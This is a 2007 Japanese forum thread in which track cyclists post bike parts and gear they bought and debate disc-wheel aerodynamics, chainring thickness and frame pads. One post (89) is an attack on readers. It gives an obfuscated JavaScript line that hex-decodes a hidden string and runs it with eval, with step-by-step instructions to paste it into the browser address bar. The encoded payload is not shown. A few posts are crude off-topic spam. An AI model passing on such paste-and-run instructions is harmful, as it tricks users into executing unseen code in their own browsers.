今日買ったピストアイテムを書いていくスレ

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51ツール・ド・名無しさん:2007/11/16(金) 18:45:05 ID:???
ハブブラシ
52ツール・ド・名無しさん:2007/11/17(土) 12:16:08 ID:???
買い物ではないが、リムサイドのそうじをした
雨の中走ったもんだから、ブレーキシューのカスがびっしりついたんだよ
53ツール・ド・名無しさん:2007/11/17(土) 12:25:03 ID:???
そこでリムブラシ
54ツール・ド・名無しさん:2007/11/17(土) 12:34:03 ID:???
イズミ Vchain
55ツール・ド・名無しさん:2007/11/17(土) 13:39:38 ID:???
56ツール・ド・名無しさん:2007/11/17(土) 14:51:39 ID:???
三ヶ島のチェーン引きだけパクられた。
わざわざあれだけ持ってくヤツのノーミソの中見てみたいわ。
しゃーないので、売店で160円の普通のヤツ買いました。
57ツール・ド・名無しさん:2007/11/17(土) 18:57:30 ID:???
>>56
売店で、って、あなたプロ?
宿舎での盗難が多いってきくけど
58ツール・ド・名無しさん:2007/11/18(日) 11:55:06 ID:???
ブレーキワイヤを交換した
59ツール・ド・名無しさん:2007/11/18(日) 21:48:50 ID:???
ハブ毛
60ツール・ド・名無しさん:2007/11/19(月) 19:52:55 ID:???
タイヤセイバー
61ツール・ド・名無しさん:2007/11/20(火) 17:16:48 ID:???
コリマのカーボンディスク
個人追い抜き用には、ギブリより有利
62ツール・ド・名無しさん:2007/11/20(火) 18:01:29 ID:???
なんでコリマの方がいいの?
63ツール・ド・名無しさん:2007/11/20(火) 18:29:17 ID:???
>>62
平板ディスクだから、空気抵抗が少ない。
しかし、横剛性不足になりがちだから、スプリント系はギブリやコメットみたいな形状になる。
4000のスタートはゆっくりだから問題なし。
64ツール・ド・名無しさん:2007/11/20(火) 23:17:27 ID:???
個人の場合は平板だと空力の巻き返しを余計に喰らうんじゃないの?
飛行機の翼だって巻き返しを押さえるために通常飛行中でも
丸めてるのに。
65ツール・ド・名無しさん:2007/11/21(水) 06:32:45 ID:???
>>64
巻き返しという言葉は、聴いたことがないんでわからない。
翼前縁が丸いのは、迎え角が変化しても剥離が発生しないためで、
その役割はタイヤの丸みで十分。

翼厚さは、翼弦の3〜4%が理想とされている。
実際の航空機がそれより厚いのは、構造的に有利だから。
せっかく空気抵抗を減らしても、重量増加が過大なら無意味だ。

自転車のディスクホイールでは、正面から来た空気はタイヤで切り裂かれるわけで、
タイヤの丸みがあるから、平板部で剥離が起きることはないと思われる。
まあ、実際に走ってみればはっきりすることだが。
66ツール・ド・名無しさん:2007/11/22(木) 10:19:51 ID:???
クリストフのトーストラップ
安いのが取り得
67ツール・ド・名無しさん:2007/11/22(木) 11:24:41 ID:???
ブライトリングの時計
68ツール・ド・名無しさん:2007/11/22(木) 17:02:28 ID:???
ビットリア、ピスタCS
69こすりつけ最高 ◆KOSRiau48c :2007/11/22(木) 17:03:45 ID:rmMnDIV1
いやらっすぃーナンバーゲット
70ツール・ド・名無しさん:2007/11/22(木) 20:34:03 ID:???
ステッドラー 900 25
71ツール・ド・名無しさん:2007/11/23(金) 12:45:12 ID:???
前後26インチのTT車がほしい
72ツール・ド・名無しさん:2007/11/25(日) 19:21:42 ID:4p3uHuaT
リム買った。もう少しで完成だ。
73ツール・ド・名無しさん:2007/11/25(日) 19:38:23 ID:???
後輪をシマノプロにしようと思っているんだが、情報求む
ギブリよりかなり安いんで
74ツール・ド・名無しさん:2007/11/25(日) 20:40:57 ID:???
>>73
そこで貴方が人柱ですよ。
75ツール・ド・名無しさん:2007/11/28(水) 16:46:00 ID:Jz6j9v5Q
トップチューブに巻いてるの欲しいんだけど
あれはなぜ巻いてるの?
76ツール・ド・名無しさん:2007/11/28(水) 17:38:25 ID:???
>>75
何を指すのか、わからん

それと、こっちの方が気になるんだが、
目的もわからずにほしがるのか?
77ツール・ド・名無しさん:2007/11/28(水) 17:43:39 ID:???
>>75
フレームパッドです。メッセンジャーたちの間で大流行らしいです。
http://www.cb-asahi.co.jp/html/tencho/20070129/index.html
78ツール・ド・名無しさん:2007/11/28(水) 18:27:43 ID:???
>>77
巻いている理由がかわからないなら、君には必要ないということだ
一応は役割のあるものだが、メッセンジャーには必要ない
単なる流行にすぎんよ
その、流行りものを追いかける悪い癖は直した方がいいな
もっとも、ピスト車自体が、街乗りに適さない無用の長物なんだが
79ツール・ド・名無しさん:2007/11/28(水) 18:42:27 ID:???
アルミライザーバー
1000えんだった
8077:2007/11/28(水) 20:57:32 ID:???
>>78
おいコラ!けんか売ってんのか!?
折れは>>75に教えただけだろうが!!
誰が欲しがっているって???
出直して来い!!!
81ツール・ド・名無しさん:2007/11/29(木) 10:07:25 ID:???
>>80
アンカーミスでしょ
82ツール・ド・名無しさん:2007/11/29(木) 11:16:51 ID:???
>>75
電柱にたてかけたり、担いだりするトキのもんだよ
フレームに傷付くのなんてキニシナイ、ってんならいらない子
83ツール・ド・名無しさん:2007/11/29(木) 15:35:09 ID:???
大垣競輪8レース、 9→1 9→7 orz
8475:2007/11/29(木) 20:17:21 ID:???
みなさんどうもです。

某店にたむろしてる連中が軒並み装着してて、気になっていたので。
どうやら本来の使い方ではなかったようですね。
スレ汚し失礼しました。
85ツール・ド・名無しさん:2007/11/30(金) 00:21:09 ID:???
紫のパンティー
86ツール・ド・名無しさん:2007/11/30(金) 00:45:42 ID:???
釘宮理恵ちゃんのCD
87ツール・ド・名無しさん:2007/11/30(金) 11:44:10 ID:???
自作品だけど、フレームカバーは俺も使っている
ただし、ハンドルを切ったときに、ぶつかる場所だけ
つまり、トップチューブの前から4分の1あたりに5cmほど
トラックを走るときだけ外す
街道練習はそのまんま

ピスト車以外にも、ロードのTT車には使っている
つまり、バーテープを巻いていない部分がトップチューブにぶつかる車両ということ

>>77のリンクではダウンチューブにも巻かれているけど、不要だね
こんなもの、既製品買うより自作した方が面白いものが作れるんじゃないかな
俺はボロ布を巻きつけただけなんだが
88ツール・ド・名無しさん:2007/12/01(土) 10:21:25 ID:???
ステムをちょっと長いのに替えた
ポイントや4速から、ケイリン中心になってきたので
89ツール・ド・名無しさん:2007/12/02(日) 21:33:03 ID:???
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1、
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d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

2、
改行を外して1行にする。

3、
1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

4、
Enterを押す(もしくは「移動」をクリックする)。
90ツール・ド・名無しさん:2007/12/03(月) 01:28:45 ID:???
処女膜
91ツール・ド・名無しさん:2007/12/09(日) 17:57:46 ID:teV00jq6
固定ギアがなかなか合うのが見つからない!あとギアと後ろのハブだけ。サドル買った4000円。
92ツール・ド・名無しさん:2007/12/09(日) 18:15:09 ID:???
トランスミッションを薄刃に換えた。
追い抜きは、軽さが一番だもんね。
93ツール・ド・名無しさん:2007/12/09(日) 18:24:52 ID:???
トランスミッションってなんですか?
94ツール・ド・名無しさん:2007/12/09(日) 18:54:52 ID:???
>>93
駆動力伝達系のこと
ここでは、前スプロケット、チェーン、後スプロケットのこと

薄刃は、いいの?
追い抜きは、いいの?
95ツール・ド・名無しさん:2007/12/09(日) 19:00:21 ID:???
>>94
競輪でも薄刃は認定されてるけど、使っている選手が居ない事から
余り関係ないんじゃない?

たぶん固定じゃなくてフリーだったら多少メリットあるかもしれない。
どうしても後輪の動きとクランクの動きでロスがでるから。
現に、シングルのMTBで完成車だと薄刃しかないと思う。
96ツール・ド・名無しさん:2007/12/09(日) 19:12:47 ID:???
>>95
某選手(ウチのリーダー)の話では、薄刃はもがいたときにチェーンリングがたわむんだって。
パワーは俺の二倍以上だから、関係ない話。
プロが短距離で乗るなら、剛性不足(不安)でしょ。

メリットだけど、ローラーの接触面が違うから、抵抗も違うと推察している。
97ツール・ド・名無しさん:2007/12/09(日) 20:28:17 ID:???
ローラーの接触面ってのが良く分からんけど、なに?
98ツール・ド・名無しさん:2007/12/10(月) 01:04:09 ID:???
>97
チェーンは、幅の狭い側と広い側があるでしょ
その二つは、ローラーとピンで接触している
要は、チェーン自体を曲げ伸ばしする抵抗が違うってこと
99ツール・ド・名無しさん:2007/12/10(月) 22:57:19 ID:???
>>98
国体出てるけど、抵抗は薄刃でも厚刃でも変わらない。感じないだけかな。
たわみってのもまわりに聞いてみたけど感じないとの事。
でも厚刃のチェーンだとクランク廻す時の慣性が薄刃用よりも働くから
厚刃使ってる。
100ツール・ド・名無しさん
>>99
慣性大きいのがいいなら、ホイールかタイヤを重くすればいいじゃん
効果は、15Tで10倍ちょっとだ